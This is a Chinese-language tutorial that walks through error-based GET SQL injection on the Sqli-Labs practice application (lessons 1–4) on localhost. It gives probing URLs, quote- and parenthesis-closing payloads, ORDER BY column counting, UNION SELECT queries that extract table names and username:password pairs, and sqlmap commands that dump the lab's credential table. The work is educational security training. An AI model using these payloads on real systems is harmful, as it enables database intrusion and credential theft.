Sql注入的分类
根据注入位置数据类型可将Sql注入分为两类:数字型和字符型
例如:
数字型:
select * from t_name where id = 1;
字符型:
select * from t_name where id = 'c001';
GET基于报错的Sql注入发现
通过在url中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点
实验:Sqli-Lab Less1~4,GET基于报错的Sql注入
%27 表示url编码的单引号
url编码是将特殊字符,汉字等符号编码成浏览器可识别的符号
Less1
GET - Error based - Single quotes - String
基于单引号字符串的报错
进入Less1
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=1
<!--显示如下-->
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
检查id=1是否存在注入点
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=1%27
<!--显示如下-->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
对''1'' LIMIT 0,1'进行分析,左右两边的单引号是sql本身的,与语句执行出错没有关系
只需分析'1'' LIMIT 0,1
#猜sql语句可能如下,
select Login_name,Password from table_name where id = 'id' limit 0,1;
将两边内容'' LIMIT 0,1去掉,只留下1',由此可以判断id是一个字符串类型的值
Less2
GET - Error based - Intiger based
基于整型报错
进入Less2
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-2/?id=1
<!--显示如下-->
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
检查id=1是否存在注入点
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-2/?id=1%27
<!--显示如下-->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
对'' LIMIT 0,1'进行分析,将两边表示字符串的单引号去掉
只需分析' limit 0,1
#猜测试sql语句
select Login_name,Password from table_name where id = id limit 0,1;
将两边内容 LIMIT 0,1去掉,只留下'就报错,由此可以判断id是一个数值类型的值
Less3
GET Error based - Single quotes with twist - string
基于单引号和括号的报错
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-3/?id=1%27
<!--显示如下-->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
对''1'') LIMIT 0,1'分析,去掉两边单引号,最左边的和最右边是输出的单引号,和sql语句执行无关
对'1'') LIMIT 0,1进行分析
首先可以将添加的单引号从上面的语句中去掉,结果就是'1') LIMIT 0,1,而需要闭合括号,则要在左边添加一个括号,可以还原成('1') LIMIT 0,1
#猜测试sql语句
select Login_name,Password from table_name where id = ('ID') limit 0,1;
验证上述猜测
id=1%27)%20--+
或
id=1%27)%20--%20
%27代表'单引号
%20代表空格
+也代表空格
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-3/?id=1%27)%20--+
<!--显示如下-->
Your Login name:Dumb
Your Password:Dumb
提示:--空格表示注释时,空格最好使用+(加号)或%20表示,不要按下space键表示空格,这样做是不正确的
Less4
GET Error based -Double Quotes - String
基于双引号的字符串报错
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-4/?id=1%27
http://127.0.0.1/sqli/Less-4/?id=1)
<!--都显示如下,并未报错-->
Your Login name:Dumb
Your Password:Dumb
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-4/?id=1%22
<!--显示如下-->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
对'"1"") LIMIT 0,1',进行分析,去掉两边单引号字符,最左边的和最右边是输出的单引号,和sql语句执行无关
对"1"") LIMIT 0,1,进行分析,将原来的双引号字符去掉,原来的sql语句就是"1")LIMIT 0,1
#猜测sql语句
select Login_name,Password from table_name where id = ("ID") limit 0,1;
验证猜测
%22 代表双引号
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-4/?id=1%22)%20--+
<!--显示如下-->
Your Login name:Dumb
Your Password:Dumb
在mysql语句中,如果查询参数被双引号包括起来("查询参数"),查询参数为1''''))))时,无论单此号和括号数量的多少mysql都会通过隐式转换为1,所以显示结果不会报错
可以通过反斜线将Sql语句的双引号,转义为实际意义上的双引号,实现报错
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-4/?id=1\
<!--显示如下-->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1\") LIMIT 0,1' at line 1
提取错误信息"1\") LIMIT 0,1
#猜测sql语句
select Login_name,Password from table_name where id = ("ID") limit 0,1;
验证猜测
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-4/?id=1%22)%20--+
<!--显示如下-->
Your Login name:Dumb
Your Password:Dumb
GET基于报错的SQL注入利用
-
利用 order by 判断字段数
-
利用 union select 联合查询,获取表名
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
- 利用 union select 联合查询,获取字段名
0' union select 1,group_concat(table_name),3 from information_schema.columns where table_name='users' --+
- 利用 union select联合查询,获取字段值
0' union select 1, group_concat(username,0x3a,password),3 from users--+
注意:此处利用了联合查询的报错输出结果的机制,因为查询只会返回一个结果,所以要使用 0'报错,返回联合查询的结果
验证结果
进入Less1
根据之前验证Less1执行sql语句如下
select Login_name,Password from table_name where id = 'id' limit 0,1;
那么第一步,给order by 语句执行创建条件
--正常sql语句
select * from t_name where id = 1 order by 10 limit 0,1;
--能够执行的order by 语句
select Login_name,Password from table_name where id = 'id' order by 10 --+ limit 0,1;
在firefox的harkbar工具中输入以下内容,最终查找到 order by 3 时,返回正确结果,说明表中有三个字段
解释,mysql order by 子句中通常后面接具体字段名称 如 order by name,但是也可以接数字,这个数字代表了数据表中的第几列,如果表只有一列,那么order by 1 正确,如果有3列,则 order by 3正确, order by 4错误 ,正是利用这一点,找出数据表中的字段数量
安装免费hackbar,安装后需要重启firefox
<!--在hackbar中输入,点击Execute-->
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
<!--显示如下-->
Your Login name:Dumb
Your Password:Dumb
获取数据库信息
点击hackbar中的SQL->Union select Statment,添加入数字3,表示刚才找到的三个字段,点击确认,会在文本框中插入UNION SELECT 1,2,3 添加注释符。
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=0' UNION SELECT 1,2,3 --+
<!--显示如下-->
Your Login name:2
Your Password:3
再进一步,将2,3替换为version()和user()
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=0' UNION SELECT 1,version(),user() --+
<!--显示如下-->
Your Login name:5.5.21
Your Password:root@localhost
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=0' UNION SELECT 1,version(),database() --+
<!--显示如下-->
Your Login name:5.5.21
Your Password:security
到此可以将第2,3,4的语句,拼接到id=后,在hackerbar中执行,会在浏览器中返回相应结果
利用Sqlmap测试
使得sqlmap快捷方式打开
显示所有数据库名
#命令行中执行
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs --batch
#显示如下
'''
available databases [7]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] test
[*] web09
'''
显示数据库中表名
#命令行中执行
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables --batch
#显示如下
'''
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
'''
显示数据表中所有字段信息
#命令行中执行
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns --batch
#显示如下
'''
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
'''
显示指定字段信息
#命令行中执行
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C "username,password" --dump --batch
#显示如下
'''
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password |
+----------+------------+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
+----------+------------+
'''
参数解释
-u 指定url
--dbs 指定显示出数据库
--batch 表示默认值是y
-D 指定数据库名称
--tables 表示显示所有数据表名称
-T 指定表名称
--columns 表示显示表中所有字段名称
-C "username,password" 指定字段,每个字段使用逗号(,)分隔
--dump 打印要显示的字段信息
浙公网安备 33010602011771号